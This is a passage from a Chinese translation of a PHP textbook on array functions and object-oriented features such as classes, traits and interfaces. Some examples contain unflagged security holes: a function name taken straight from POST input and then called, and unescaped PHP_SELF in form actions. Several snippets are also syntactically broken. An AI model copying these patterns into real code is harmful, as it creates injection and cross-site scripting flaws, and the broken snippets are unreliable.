 if (! in_array ( $fieldName, $keys )) {
 return false;
 }
 }
 return true;
}
if ($_POST ['submitted']) {
 $testArray = array_filter($_POST);
 echo "<p>You ";
 echo hasRequired ( $testArray, array (
 'name',
 'email_address'
 ) ) ? "did" : "did not";
 echo " have all the required fields.</p>";
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 <p>
 Name: <input type="text" name="name" /><br /> Email address: <input
 type="text" name="email_address" /><br /> Age (optional): <input
 type="text" name="age" />
 </p>
 <p align="center">
 <input type="submit" value="submit" name="submitted" />
 </p>
</form>

in_array() 的变体是 array_search() 函数。in_array() 返回值找到时返回true,而 array_search() 返回元素的键,如果找到的话:

$person = array('name' => "Fred", 'age' => 35, 'wife' => "Wilma");
$k = array_search("Wilma", $person);

echo("Fred's {$k} is Wilma\n");

`Fred``'``s` `wife` `is` `Wilma`

array_search() 函数还接受第三个 strict 可选参数,要求被搜索的值的类型和数组中的值匹配。

排序

排序改变数组元素的内部顺序,并可选择重写键以反映这种新顺序。例如,您可以使用排序将得分从大到小排列,将姓名按字母顺序排列,或者根据用户发布的消息数量对一组用户进行排序。

PHP 提供了三种排序数组的方式——按键排序、按值排序而不更改键、或按值排序然后更改键。每种排序可以按升序、降序或用户定义的函数确定的顺序进行。

逐个数组排序

PHP 提供的用于对数组排序的函数如 表格 5-1 所示。

表格 5-1. PHP 数组排序函数

效果 升序 降序 用户定义的顺序
按值排序数组,然后重新分配从 0 开始的索引 sort() rsort() usort()
按值排序数组 asort() arsort() uasort()
按键名排序数组 ksort() krsort() uksort()

sort()rsort()usort() 函数设计用于处理索引数组,因为它们分配新的数字键来表示排序。当您需要回答“前十名的得分是多少?”和“按字母顺序第三个是谁?”等问题时,它们非常有用。其他排序函数可以用于索引数组,但只能通过遍历结构(如foreachnext())访问排序顺序。

要按升序字母顺序对名称进行排序,请这样做:

$names = array("Cath", "Angela", "Brad", "Mira");
sort($names); // $names is now "Angela", "Brad", "Cath", "Mira"

要按照逆字母顺序排列它们,只需调用rsort() 而不是 sort()

如果你有一个将用户名映射到登录时间分钟数的关联数组,可以使用arsort()来显示前三名的表格,如下所示:

$logins = array(
 'njt' => 415,
 'kt' => 492,
 'rl' => 652,
 'jht' => 441,
 'jj' => 441,
 'wt' => 402,
 'hut' => 309,
);

arsort($logins);

$numPrinted = 0;

echo "<table>\n";

foreach ($logins as $user => $time) {
 echo("<tr><td>{$user}</td><td>{$time}</td></tr>\n");

 if (++$numPrinted == 3) {
 break; // stop after three
 }
}

echo "</table>";

如果您希望按用户名升序显示该表格,请改用ksort()

用户定义的排序要求你提供一个函数,该函数接受两个值并返回一个指定排序数组中两个值顺序的值。如果第一个值大于第二个值,函数应返回1;如果第一个值小于第二个值,应返回−1;如果这两个值对于自定义排序目的相同,则返回0

示例 5-3中的程序将各种排序函数应用于相同的数据。

示例 5-3. 排序数组
<?php
function userSort($a, $b)
{
 // smarts is all-important, so sort it first
 if ($b == "smarts") {
 return 1;
 }
 else if ($a == "smarts") {
 return −1;
 }

 return ($a == $b) ? 0 : (($a < $b) ? −1 : 1);
}

$values = array(
 'name' => "Buzz Lightyear",
 'email_address' => "buzz@starcommand.gal",
 'age' => 32,
 'smarts' => "some"
);

if ($_POST['submitted']) {
 $sortType = $_POST['sort_type'];

 if ($sortType == "usort" || $sortType == "uksort" || $sortType == "uasort") {
 $sortType($values, "userSort");
 }
 else {
 $sortType($values);
 }
} ?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?> " method="post">
 <p>
 <input type="radio" name="sort_type"
 value="sort" checked="checked" /> Standard<br />
 <input type="radio" name="sort_type" value="rsort" /> Reverse<br />
 <input type="radio" name="sort_type" value="usort" /> User-defined<br />
 <input type="radio" name="sort_type" value="ksort" /> Key<br />
 <input type="radio" name="sort_type" value="krsort" /> Reverse key<br />
 <input type="radio" name="sort_type"
 value="uksort" /> User-defined key<br />
 <input type="radio" name="sort_type" value="asort" /> Value<br />
 <input type="radio" name="sort_type"
 value="arsort" /> Reverse value<br />
 <input type="radio" name="sort_type"
 value="uasort" /> User-defined value<br />
 </p>

 <p align="center"><input type="submit" value="Sort" name="submitted" /></p>

 <p>Values <?php echo $_POST['submitted'] ? "sorted by {$sortType}" : "unsorted"; 
 ?>:</p>

 <ul>
 <?php foreach ($values as $key => $value) {
 echo "<li><b>{$key}</b>: {$value}</li>";
 } ?>
 </ul>
</form>

自然顺序排序

PHP 的内置排序函数可以正确排序字符串和数字,但无法正确排序包含数字的字符串。例如,如果你有文件名ex10.phpex5.phpex1.php,正常排序函数会以这种顺序重新排列它们:ex1.phpex10.phpex5.php。要正确排序包含数字的字符串,请使用natsort()natcasesort()函数:

$output = natsort(*`input`*);
$output = natcasesort(*`input`*);

一次对多个数组进行排序

array_multisort()函数一次对多个索引数组进行排序:

array_multisort(*`array1`* [, *`array2`*, ... ]);

传递一系列数组和排序顺序(由SORT_ASCSORT_DESC常量标识),它重新排序所有数组的元素,分配新索引。这类似于关系数据库上的连接操作。

想象一下你有很多人,每个人有几个数据片段:

$names = array("Tom", "Dick", "Harriet", "Brenda", "Joe");
$ages = array(25, 35, 29, 35, 35);
$zips = array(80522, '02140', 90210, 64141, 80522);

每个数组的第一个元素表示一个单独的记录——关于汤姆的所有已知信息。同样,第二个元素构成另一条记录——关于迪克的所有已知信息。array_multisort()函数重新排列数组的元素,保留记录。也就是说,如果在排序后$names数组中“迪克”排在第一位,其他数组中关于迪克的信息也将排在第一位。(注意,我们需要引用迪克的邮政编码,以防止它被解释为八进制常量。)

下面是如何首先按年龄升序,然后按邮政编码降序排序记录的方法:

array_multisort($ages, SORT_ASC, $zips, SORT_DESC, $names, SORT_ASC);

我们需要在函数调用中包含$names,以确保迪克的姓名与他的年龄和邮政编码一起。打印出数据将显示排序结果:

for ($i = 0; $i < count($names); $i++) {
 echo "{$names[$i]}, {$ages[$i]}, {$zips[$i]}\n";
}
`Tom``,` `25``,` `80522`
`Harriet``,` `29``,` `90210`
`Joe``,` `35``,` `80522`
`Brenda``,` `35``,` `64141`
`Dick``,` `35``,` `02140`

颠倒数组

array_reverse()函数颠倒数组中元素的内部顺序:

$reversed = array_reverse(*`array`*);

数字键从 0 开始重新编号,而字符串索引不受影响。总的来说,最好使用反序排序函数而不是先排序,然后反转数组的顺序。

array_flip()函数返回一个数组,反转每个原始元素的键值对的顺序:

$flipped = array_flip(*`array`*);

对于数组中的每个元素,其值是有效键的情况下,元素的值变成其键,元素的键变成其值。例如,如果你有一个将用户名映射到主目录的数组,你可以使用array_flip()创建一个将主目录映射到用户名的数组:

$u2h = array(
 'gnat' => "/home/staff/nathan",
 'frank' => "/home/action/frank",
 'petermac' => "/home/staff/petermac",
 'ktatroe' => "/home/staff/kevin"
);
$h2u = array_flip($u2h);

$user = $h2u["/home/staff/kevin"]; // $user is now 'ktatroe'

其原始值既不是字符串也不是整数的元素会在结果数组中保持不变。新数组允许你根据其值在原始数组中发现键,但这种技术仅在原始数组具有唯一值时有效。

随机顺序

要以随机顺序遍历数组中的元素,请使用 shuffle() 函数。它将所有现有的键(字符串或数值)替换为从 0 开始的连续整数。

这里是如何随机排列一周中的天的方式:

$weekdays = array("Monday", "Tuesday", "Wednesday", "Thursday", "Friday");
shuffle($weekdays);

print_r($weekdays);

`Array``(`
 `[``0``]` `=>` `Tuesday`
 `[``1``]` `=>` `Thursday`
 `[``2``]` `=>` `Monday`
 `[``3``]` `=>` `Friday`
 `[``4``]` `=>` `Wednesday`
`)`

显然,使用 shuffle() 后的顺序可能与此处示例输出不同,因为函数的随机性质。除非您有兴趣从数组中获取多个随机元素而不重复任何特定项,否则使用 rand() 函数来选择索引更有效。

操作整个数组

PHP 中有几个有用的内置函数,用于修改或对数组的所有元素应用操作。你可以计算数组的总和,合并多个数组,找到两个数组之间的差异,等等。

计算数组的总和

array_sum() 函数将索引或关联数组中的值相加:

$sum = array_sum(*`array`*);

例如:

$scores = array(98, 76, 56, 80);
$total = array_sum($scores); // $total = 310

合并两个数组

array_merge() 函数可以智能地合并两个或更多个数组:

$merged = array_merge(*`array1`*, *`array2`* [, *`array` `...`* ])

如果一个早期数组中的数值键重复出现,则后来数组中的值将被分配一个新的数值键:

$first = array("hello", "world"); // 0 => "hello", 1 => "world"
$second = array("exit", "here"); // 0 => "exit", 1 => "here"

$merged = array_merge($first, $second);
// $merged = array("hello", "world", "exit", "here")

如果一个早期数组中的字符串键重复出现,早期的值将被后来的值替换:

$first = array('bill' => "clinton", 'tony' => "danza");
$second = array('bill' => "gates", 'adam' => "west");

$merged = array_merge($first, $second);
// $merged = array('bill' => "gates", 'tony' => "danza", 'adam' => "west")

计算两个数组之间的差异

array_diff() 函数计算两个或更多个数组之间的差异,返回一个数组,其中包含第一个数组中不在其他数组中的值:

$diff = array_diff(*`array1`*, *`array2`* [, *`array`* ... ]);

例如:

$a1 = array("bill", "claire", "ella", "simon", "judy");
$a2 = array("jack", "claire", "toni");
$a3 = array("ella", "simon", "garfunkel");

// find values of $a1 not in $a2 or $a3 $difference = array_diff($a1, $a2, $a3);
print_r($difference);

`Array``(`
 `[``0``]` `=>` `"``bill``"``,`
 `[``4``]` `=>` `"``judy``"`
`);`

值是使用严格比较运算符 === 进行比较,所以 1"1" 被视为不同。第一个数组的键被保留,所以在 $diff"bill" 的键是 0,而 "judy" 的键是 4

在另一个示例中,以下代码返回两个数组的差异:

$first = array(1, "two", 3);
$second = array("two", "three", "four");

$difference = array_diff($first, $second);
print_r($difference);

`Array``(`
 `[``0``]` `=>` `1`
 `[``2``]` `=>` `3`
`)`

从数组中筛选元素

要根据其值标识数组的子集,请使用 array_filter() 函数:

$filtered = array_filter(*`array`*, *`callback`*);

每个 array 的值都传递给 callback 中命名的函数。返回的数组仅包含原始数组中函数返回 true 值的元素。例如:

`function` *`isOdd`* ($element) {
 `return` $element % 2;
}

$numbers = `array`(9, 23, 24, 27);
$odds = *`array_filter`*($numbers, "isOdd");

// $odds is array(0 => 9, 1 => 23, 3 => 27)

正如你所看到的,键会被保留。这个函数在关联数组中非常有用。

使用数组实现数据类型

数组在几乎每个 PHP 程序中都会出现。除了明显用于存储值的目的外,它们还用于实现各种抽象数据类型。在本节中,我们展示如何使用数组来实现集合和堆栈。

集合

数组使您能够实现集合论的基本操作:并集、交集和差集。每个集合由一个数组表示,各种 PHP 函数实现了这些集合操作。集合中的值是数组中的值——键未被使用,但通常由操作保留。

两个集合的并集是两个集合中所有元素的集合,去除重复项。使用 array_merge()array_unique() 函数可以计算并集。下面是如何找到两个数组的并集:

function arrayUnion($a, $b)
{
 $union = array_merge($a, $b); // duplicates may still exist
 $union = array_unique($union);

 return $union;
}

$first = array(1, "two", 3);
$second = array("two", "three", "four");

$union = arrayUnion($first, $second);
print_r($union);

`Array``(`
 `[``0``]` `=>` `1`
 `[``1``]` `=>` `two`
 `[``2``]` `=>` `3`
 `[``4``]` `=>` `three`
 `[``5``]` `=>` `four`
`)`

两个集合的交集是它们共有的元素集合。PHP 内置的 array_intersect() 函数将任意数量的数组作为参数,并返回存在于每个数组中的那些值的数组。如果多个键具有相同的值,则保留第一个具有该值的键。

虽然在 PHP 程序中不如其他程序常见,但一个相当常见的数据类型是后进先出(LIFO)栈。我们可以使用一对 PHP 函数 array_push()array_pop() 来创建栈。array_push() 函数与对 $array[] 的赋值相同。我们使用 array_push() 是因为它强调了我们正在处理栈,并且与 array_pop() 的并行性使我们的代码更易于阅读。还有 array_shift()array_unshift() 函数用于将数组视为队列。

栈对于保持状态特别有用。示例 5-4 提供了一个简单的状态调试器,允许您打印到目前为止调用过的函数列表(即 堆栈跟踪)。

示例 5-4. 状态调试器
$callTrace = array();

function enterFunction($name)
{
 global $callTrace;
 $callTrace[] = $name;

 echo "Entering {$name} (stack is now: " . join(' -> ', $callTrace) . ")<br />";
}

function exitFunction()
{
 echo "Exiting<br />";

 global $callTrace;
 array_pop($callTrace);
}

function first()
{
 enterFunction("first");
 exitFunction();
}

function second()
{
 enterFunction("second");
 first();
 exitFunction();
}

function third()
{
 enterFunction("third");
 second();
 first();
 exitFunction();
}

first();
third();

下面是来自 示例 5-4 的输出:

`Entering` `first` `(``stack` `is` `now``:` `first``)`
`Exiting`
`Entering` `third` `(``stack` `is` `now``:` `third``)`
`Entering` `second` `(``stack` `is` `now``:` `third` `->` `second``)`
`Entering` `first` `(``stack` `is` `now``:` `third` `->` `second` `->` `first``)`
`Exiting`
`Exiting`
`Entering` `first` `(``stack` `is` `now``:` `third` `->` `first``)`
`Exiting`
`Exiting`

实现迭代器接口

使用 foreach 结构,你不仅可以迭代数组,还可以迭代实现了 Iterator 接口的类的实例(有关对象和接口的更多信息,请参见第六章)。要实现 Iterator 接口,必须在类中实现五个方法:

current()

返回迭代器当前指向的元素。

key()

返回迭代器当前指向的元素的键。

next()

将迭代器移动到对象中的下一个元素并返回它。

rewind()

将迭代器移动到数组中的第一个元素。

valid()

如果迭代器当前指向有效元素,则返回 true,否则返回 false

示例 5-5 重新实现了一个包含静态数据数组的简单迭代器类。

示例 5-5. 迭代器接口
class BasicArray implements Iterator
{
 private $position = 0;
 private $array = ["first", "second", "third"];

 public function __construct()
 {
 $this->position = 0;
 }

 public function rewind()
 {
 $this->position = 0;
 }

 public function current()
 {
 return $this->array[$this->position];
 }

 public function key()
 {
 return $this->position;
 }

 public function next()
 {
 $this->position += 1;
 }

 public function valid()
 {
 return isset($this->array[$this->position]);
 }
}

$basicArray = new BasicArray;

foreach ($basicArray as $value) {
 echo "{$value}\n";
}

foreach ($basicArray as $key => $value) {
 echo "{$key} => {$value}\n";
}

`first`
`second`
`third`

`0` `=>` `first`
`1` `=>` `second`
`2` `=>` `third`

当你在一个类上实现Iterator接口时,它只允许你使用foreach结构遍历该类实例中的元素;它不允许你将这些实例视为数组或作为其他方法的参数。例如,使用内置的rewind()函数而不是在$trie上调用rewind()方法,可以重置指向$trie属性的Iterator

class Trie implements Iterator
{
 const POSITION_LEFT = "left";
 const POSITION_THIS = "this";
 const POSITION_RIGHT = "right";

 var $leftNode;
 var $rightNode;

 var $position;

 // implement Iterator methods here...
}

$trie = new Trie();

rewind($trie);

可选的 SPL 库提供了各种有用的迭代器,包括文件系统目录、树形和正则表达式匹配迭代器。

接下来做什么

最后三章——关于函数、字符串和数组——涵盖了许多基础内容。下一章将在此基础上构建,并将你带入对象和面向对象编程(OOP)的新世界。有人认为 OOP 是更好的编程方式,因为它比过程化编程更加封装和可重用。这场辩论仍在继续,但一旦你进入面向对象的编程方法并理解其好处,你就能对未来的编程方式做出明智的决定。话虽如此,编程世界的总体趋势是尽可能多地使用 OOP。

在继续之前,有一点需要注意:有很多情况下,初学者 OOP 程序员可能会迷失方向,所以确保你真正掌握了 OOP 之后再进行重要或关键任务。

第六章:对象

在本章中,您将学习如何在 PHP 中定义、创建和使用对象。面向对象编程(OOP)为更清晰的设计、更容易的维护和更大的代码重用打开了大门。OOP 已被证明非常有价值,以至于今天很少有人敢引入非面向对象的语言。PHP 支持 OOP 的许多有用功能,本章将向您展示如何使用它们,涵盖基本的 OOP 概念以及诸如内省和序列化等高级主题。

对象

面向对象编程承认数据与处理数据的代码之间的基本联系,并允许您围绕该联系设计和实现程序。例如,公告板系统通常跟踪许多用户。在过程式编程语言中,每个用户由一个数据结构表示,并且可能有一组函数用于处理这些数据结构(创建新用户、获取他们的信息等)。在面向对象的语言中,每个用户由一个对象表示—一个附带代码的数据结构。数据和代码仍然存在,但它们被视为一个不可分割的单元。对象作为代码和数据的结合体,是应用程序开发和代码重用的模块化单元。

在这个假设的公告板设计中,对象不仅可以代表用户,还可以代表消息和主题。用户对象为该用户具有用户名和密码,并具有用于识别该作者的所有消息的代码。消息对象知道它属于哪个主题,并具有发布新消息、回复现有消息和显示消息的代码。主题对象是消息对象的集合,并具有显示主题索引的代码。然而,将必要功能划分为对象的方式只是其中一种。例如,在另一种设计中,发布新消息的代码存在于用户对象中,而不是消息对象中。

设计面向对象系统是一个复杂的主题,已经有许多书籍写就。好消息是,无论您如何设计系统,都可以在 PHP 中实现它。让我们首先介绍一些在深入研究这种编程方法之前需要了解的关键术语和概念。

术语

每种面向对象语言似乎对相同的概念有不同的术语集。本节描述了 PHP 使用的术语,但请注意,在其他语言中,这些术语可能具有其他含义。

让我们回到公告板用户的例子。您需要为每个用户跟踪相同的信息,并且可以在每个用户的数据结构上调用相同的函数。当您设计程序时,您决定每个用户的字段并提出函数。在面向对象编程术语中,您正在设计用户。类是构建对象的模板。

对象是类的一个实例(或发生)。在这种情况下,它是一个具有附加代码的实际用户数据结构。对象和类有点像值和数据类型。只有一个整数数据类型,但可能有许多可能的整数。类似地,您的程序仅定义一个用户类,但可以从中创建许多不同(或相同)的用户。

与对象关联的数据称为其属性。与对象关联的函数称为其方法。当您定义一个类时,您定义其属性的名称并给出其方法的代码。

如果您使用封装,程序的调试和维护将变得更容易。这是一个类提供一定方法(接口)给使用其对象的代码的想法,因此外部代码不直接访问这些对象的数据结构。因此,调试更容易,因为您知道在哪里查找错误——只有更改对象数据结构的代码位于类内部——维护更容易,因为您可以在不更改使用类的代码的情况下交换类的实现,只要保持相同的接口。

任何非平凡的面向对象设计可能都涉及继承。这是通过指定一个新类说它像现有类一样,但具有某些新的或更改的属性和方法的一种方式。原始类称为超类(或父类或基类),新类称为子类(或派生类)。继承是代码重用的一种形式——超类代码被重用,而不是复制粘贴到子类中。对超类的任何改进或修改都会自动传递到子类。

创建对象

创建对象并使用它们比定义对象类要容易得多,因此在我们讨论如何定义类之前,让我们看看如何创建对象。要创建给定类的对象,请使用new关键字:

$*`object`* = new *`Class`*;

假设已定义了一个Person类,以下是如何创建一个Person对象的方法:

$moana = new Person;

不要引用类名,否则会导致编译错误:

$moana = new "Person"; // does not work

有些类允许您向new调用传递参数。类的文档应该说明它是否接受参数。如果接受,您将像这样创建对象:

$object = new Person("Sina", 35);

类名不必硬编码到您的程序中。您可以通过变量提供类名:

$class = "Person";
$object = new $class;
// is equivalent to
$object = new Person;

指定一个不存在的类会导致运行时错误。

包含对象引用的变量只是普通变量——它们可以像其他变量一样使用。注意,变量变量可以与对象一起使用,如下所示:

$account = new Account;
$object = "account";
${$object}->init(50000, 1.10); // same as $account->init

访问属性和方法

一旦您拥有对象,您可以使用->符号访问对象的方法和属性:

*`$object`*->*`propertyname` `$object`*->*`methodname`*([*`arg`*, ... ])

例如:

echo "Moana is {$moana->age} years old.\n"; // property access
$moana->birthday(); // method call
$moana->setAge(21); // method call with arguments

方法与函数的行为相同(只针对所讨论的对象),因此它们可以接受参数并返回一个值:

$clan = $moana->family("extended");

在类的定义中,你可以使用publicprivate访问修饰符来指定哪些方法和属性是公共可访问的,哪些是只能在类内部访问的。你可以使用这些修饰符来提供封装性。

你可以使用带有属性名称的变量变量:

$prop = 'age';
echo $moana->$prop;

静态方法是在类上调用而不是在对象上调用的方法。这样的方法无法访问属性。静态方法的名称是类名后跟两个冒号和函数名。例如,这在 HTML 类中调用p()静态方法:

HTML::p("Hello, world");

在声明类时,使用静态访问属性定义哪些属性和方法是静态的。

一旦创建,对象通过引用传递——也就是说,不是复制整个对象本身(这是一项耗费时间和内存的工作),而是传递对象的引用。例如:

$f = new Person("Pua", 75);

$b = $f; // $b and $f point at same object $b->setName("Hei Hei");

printf("%s and %s are best friends.\n", $b->getName(), $f->getName());
`Hei` `Hei` `and` `Hei` `Hei` `are` `best` `friends``.`

如果你想创建一个对象的真实副本,可以使用克隆运算符:

$f = new Person("Pua", 35);

$b = clone $f; // make a copy $b->setName("Hei Hei");// change the copy 
printf("%s and %s are best friends.\n", $b->getName(), $f->getName());
`Pua` `and` `Hei` `Hei` `are` `best` `friends``.`

当你使用克隆运算符创建对象的副本,并且该类声明了__clone()方法时,该方法会在新对象被克隆后立即调用。在对象持有外部资源(如文件句柄)的情况下,你可以使用此方法创建新资源,而不是复制现有资源。

类声明

要以面向对象的方式设计你的程序或代码库,你需要使用class关键字定义自己的类。类定义包括类名以及类的属性和方法。类名不区分大小写,必须符合 PHP 标识符的规则。其中,类名stdClass是保留的。以下是类定义的语法:

class classname [ extends baseclass ] [ implements interfacename ,
 [interfacename, ... ] ] {
 [ use traitname, [ traitname, ... ]; ]

 [ visibility $property [ = value ]; ... ]

 [ function functionname (args) [: type ] {
 // code
 }
 ...
 ]
}

方法声明

方法是定义在类内部的函数。虽然 PHP 没有施加特殊的限制,大多数方法只在方法所在的对象内部的数据上起作用。方法名称以两个下划线(__)开头的方法可能在未来由 PHP 使用(当前用于对象序列化方法__sleep()__wakeup(),稍后在本章描述的其他方法),因此建议不要以这个序列开始方法名称。

在方法内部,$this变量包含对调用该方法的对象的引用。例如,如果你调用$moana->birthday(),在birthday()方法内部,$this持有与$moana相同的值。方法使用$this变量来访问当前对象的属性并调用该对象上的其他方法。

这里是Person类的简单类定义,展示了$this变量的使用方式:

class Person {
 public $name = '';

 function getName() {
 return $this->name;
 }

 function setName($newName) {
 $this->name = $newName;
 }
}

如你所见,getName()setName()方法使用$this访问和设置当前对象的$name属性。

要将方法声明为静态方法,请使用static关键字。在静态方法内部,变量$this未定义。例如:

class HTMLStuff {
 static function startTable() {
 echo "<table border=\"1\">\n";
 }

 static function endTable() {
 echo "</table>\n";
 }
}

HTMLStuff::startTable();
 // print HTML table rows and columns
HTMLStuff::endTable();

如果你使用final关键字声明一个方法,子类将无法覆盖该方法。例如:

class Person {
 public $name;

 final function getName() {
 return $this->name;
 }
}

class Child extends Person {
 // syntax error
 function getName() {
 // do something
 }
}

使用访问修饰符,你可以改变方法的可见性。在对象方法之外可访问的方法应该声明为public;只能被同一类内部方法调用的实例方法应该声明为private。最后,声明为protected的方法只能从对象的类方法和继承自该类的类方法调用。定义类方法的可见性是可选的;如果没有指定可见性,则方法是公共的。例如,你可以定义:

class Person {
 public $age;

 public function __construct() {
 $this->age = 0;
 }

 public function incrementAge() {
 $this->age += 1;
 $this->ageChanged();
 }

 protected function decrementAge() {
 $this->age -= 1;
 $this->ageChanged();
 }

 private function ageChanged() {
 echo "Age changed to {$this->age}";
 }
}

class SupernaturalPerson extends Person {
 public function incrementAge() {
 // ages in reverse
 $this->decrementAge();
 }
}

$person = new Person;
$person->incrementAge();
$person->decrementAge(); // not allowed
$person->ageChanged(); // also not allowed

$person = new SupernaturalPerson;
$person->incrementAge(); // calls decrementAge under the hood

在声明对象方法时,你可以使用类型提示(在第三章中描述):

class Person {
 function takeJob(Job $job) {
 echo "Now employed as a {$job->title}\n";
 }
}

当方法返回一个值时,你可以使用类型提示声明方法的返回值类型:

class Person {
 function bestJob(): Job {
 $job = Job("PHP developer");

 return $job;
 }
}

声明属性

在上述Person类的定义中,我们明确声明了$name属性。属性声明是可选的,只是对维护你的程序的人的一种礼貌。声明属性是良好的 PHP 风格,但你可以随时添加新的属性。

这是一个Person类的版本,其中有一个未声明的$name属性:

class Person {
 function getName() {
 return $this->name;
 }

 function setName($newName) {
 $this->name = $newName;
 }
}

你可以为属性分配默认值,但这些默认值必须是简单的常量:

public $name = "J Doe"; // works
public $age = 0; // works
public $day = 60 * 60 * hoursInDay(); // doesn't work

使用访问修饰符,你可以改变属性的可见性。在对象作用域之外可访问的属性应该声明为public;在同一类内部方法才能访问的实例属性应该声明为private。最后,声明为protected的属性只能被对象的类方法和继承自该类的类方法访问。例如,你可以声明一个用户类:

class Person {
 protected $rowId = 0;

 public $username = 'Anyone can see me';

 private $hidden = true;
}

除了对象实例的属性外,PHP 还允许你定义静态属性,这些属性是对象类上的变量,可以通过类名引用该属性。例如:

class Person {
 static $global = 23;
}

$localCopy = Person::$global;

在对象类的实例内部,你也可以使用self关键字引用静态属性,例如echo self::$global;

如果在访问一个不存在的对象属性时,对象的类定义了__get()__set()方法,那么该方法将有机会获取值或者为该属性设置值。

例如,你可以声明一个表示从数据库中拉取数据的类,但你可能不希望拉取大数据值(如二进制大对象(BLOBs)),除非专门请求。当然,实现这一点的一种方法是为该属性创建读取和写入数据的访问方法。另一种方法可能是使用这些重载方法:

class Person {
 public function __get($property) {
 if ($property === 'biography') {
 $biography = "long text here..."; // would retrieve from database

 return $biography;
 }
 }

 public function __set($property, $value) {
 if ($property === 'biography') {
 // set the value in the database
 }
 }
}

声明常量

与通过define()函数分配的全局常量一样,PHP 提供了在类内部分配常量的方法。类似于静态属性,常量可以直接通过类或在对象方法内部使用self表示法访问。一旦定义了常量,其值就不能更改:

class PaymentMethod {
 public const TYPE_CREDITCARD = 0;
 public const TYPE_CASH = 1;
}

echo PaymentMethod::TYPE_CREDITCARD;
`0`

与全局常量一样,通常使用大写标识符定义类常量。

使用访问修饰符,可以更改类常量的可见性。可以从对象方法外部访问的类常量应声明为public;只能通过同一类内部方法访问的实例上的类常量应声明为private。最后,声明为protected的常量只能从对象的类方法和继承类的类方法中访问。定义类常量的可见性是可选的;如果没有指定可见性,则方法为public。例如,您可以定义:

class Person {
 protected const PROTECTED_CONST = false;
 public const DEFAULT_USERNAME = "<unknown>";
 private INTERNAL_KEY = "ABC1234";
}

继承

要继承另一个类的属性和方法,使用类定义中的extends关键字,后跟基类的名称:

class Person {
 public $name, $address, $age;
}

class Employee extends Person {
 public $position, $salary;
}

Employee类包含$position$salary属性,以及从Person类继承的$name$address$age属性。

如果派生类具有与其父类中同名的属性或方法,则派生类中的属性或方法优先于父类中的属性或方法。引用属性返回子类属性的值,引用方法调用子类的方法。

使用parent::method()表示法来访问对象父类中被重写的方法:

parent::birthday(); // call parent class's birthday() method

一个常见的错误是在调用重写方法时将父类名称硬编码到中:

Creature::birthday(); // when Creature is the parent class

这是一个错误,因为它将父类名称的知识分布到派生类中。使用parent::将父类的知识集中在extends子句中。

如果一个方法可能被子类继承,并且你希望确保在当前类上调用它,可以使用self::method()的表示法:

self::birthday(); // call this class's birthday() method

要检查一个对象是否是特定类的实例或是否实现了特定接口(参见“接口”部分),可以使用instanceof运算符:

if ($object instanceof Animal) {
 // do something
}

接口

接口提供了一种定义类遵循的契约的方式;接口提供方法原型和常量,任何实现接口的类必须为接口中的所有方法提供实现。以下是接口定义的语法:

interface *`interfacename`* {
 [ function *`functionname`*();
 ...
 ]
}

要声明一个类实现一个接口,需要使用implements关键字,并且可以跟任意数量的接口,用逗号分隔:

interface Printable {
 function printOutput();
}

class ImageComponent implements Printable {
 function printOutput() {
 echo "Printing an image...";
 }
}

接口可以继承其他接口(包括多个接口),只要它从父接口继承的方法没有与子接口中声明的方法同名。

特征

特征提供了在类层次结构之外重用代码的机制。特征允许你在不共享公共祖先的不同类之间共享功能。以下是特征定义的语法:

trait *`traitname`* [ extends *`baseclass`* ] {
 [ use *`traitname`*, [ *`traitname`*, ... ]; ]

 [ visibility $property [ = value ]; ... ]

 [ function *`functionname`* (*`args`*) {
 // *`code`*
 }
 ...
 ]
}

要声明一个类应该包含特征的方法,请使用use关键字和任意数量的特征,用逗号分隔:

trait Logger {
 public function log($logString) {
 $className = __CLASS__;
 echo date("Y-m-d h:i:s", time()) . ": [{$className}] {$logString}";
 }
}

class User {
 use Logger;

 public $name;

 function __construct($name = '') {
 $this->name = $name;
 $this->log("Created user '{$this->name}'");
 }

 function __toString() {
 return $this->name;
 }
}

class UserGroup {
 use Logger;

 public $users = array();

 public function addUser(User $user) {
 if (!in_array($this->users, $user)) {
 $this->users[] = $user;
 $this->log("Added user '{$user}' to group");
 }
 }
}

$group = new UserGroup;
$group->addUser(new User("Franklin"));
`2012``-``03``-``09` `07``:``12``:``58``:` `[``User``]` `Created` `user` `'Franklin'``2012``-``03``-``09` `07``:``12``:``58``:`
`[``UserGroup``]` `Added` `user` `'Franklin'` `to` `group`

Logger特征定义的方法对UserGroup类的实例可用,就像这些方法在该类中定义一样。

要声明一个特征应该由其他特征组成,需在特征声明中使用use语句,后面跟上一个或多个用逗号分隔的特征名称,如下所示:

trait First {
 public function doFirst( {
 echo "first\n";
 }
}

trait Second {
 public function doSecond() {
 echo "second\n";
 }
}

trait Third {
 use First, Second;

 public function doAll() {
 $this->doFirst();
 $this->doSecond();
 }
}

class Combined {
 use Third;
}

$object = new Combined;
$object->doAll();
`firstsecond`

特征可以声明抽象方法。

如果一个类使用多个定义了相同方法的特征,PHP 会给出致命错误。然而,你可以通过告诉编译器具体想要使用的给定方法的实现来覆盖这种行为。在定义一个类包含哪些特征时,对于每个冲突使用insteadof关键字:

trait Command {
 function run() {
 echo "Executing a command\n";
 }
}

trait Marathon {
 function run() {
 echo "Running a marathon\n";
 }
}

class Person {
 use Command, Marathon {
 Marathon::run insteadof Command;
 }
}

$person = new Person;
$person->run();
`Running` `a` `marathon`

你可以使用as关键字给一个特征的方法在包含它的类中起别名。你仍然必须明确解决包含特征中的任何冲突。例如:

trait Command {
 function run() {
 echo "Executing a command";
 }
}

trait Marathon {
 function run() {
 echo "Running a marathon";
 }
}

class Person {
 use Command, Marathon {
 Command::run as runCommand;
 Marathon::run insteadof Command;
 }
}

$person = new Person;
$person->run();
$person->runCommand();
`Running` `a` `marathonExecuting` `a` `command`

抽象方法

PHP 还提供了一种机制来声明类上的某些方法必须由子类实现——这些方法的实现在父类中未定义。在这些情况下,你提供一个抽象方法;此外,如果一个类包含任何抽象方法定义,你还必须将该类声明为抽象类:

abstract class Component {
 abstract function printOutput();
}

class ImageComponent extends Component {
 function printOutput() {
 echo "Pretty picture";
 }
}

抽象类不能被实例化。此外,请注意,与一些语言不同,PHP 不允许为抽象方法提供默认实现。

特征也可以声明抽象方法。包含定义了抽象方法的特征的类必须实现该方法:

trait Sortable {
 abstract function uniqueId();

 function compareById($object) {
 return ($object->uniqueId() < $this->uniqueId()) ? −1 : 1;
 }
}

class Bird {
 use Sortable;

 function uniqueId() {
 return __CLASS__ . ":{$this->id}";
 }
}

// this will not compile
class Car {
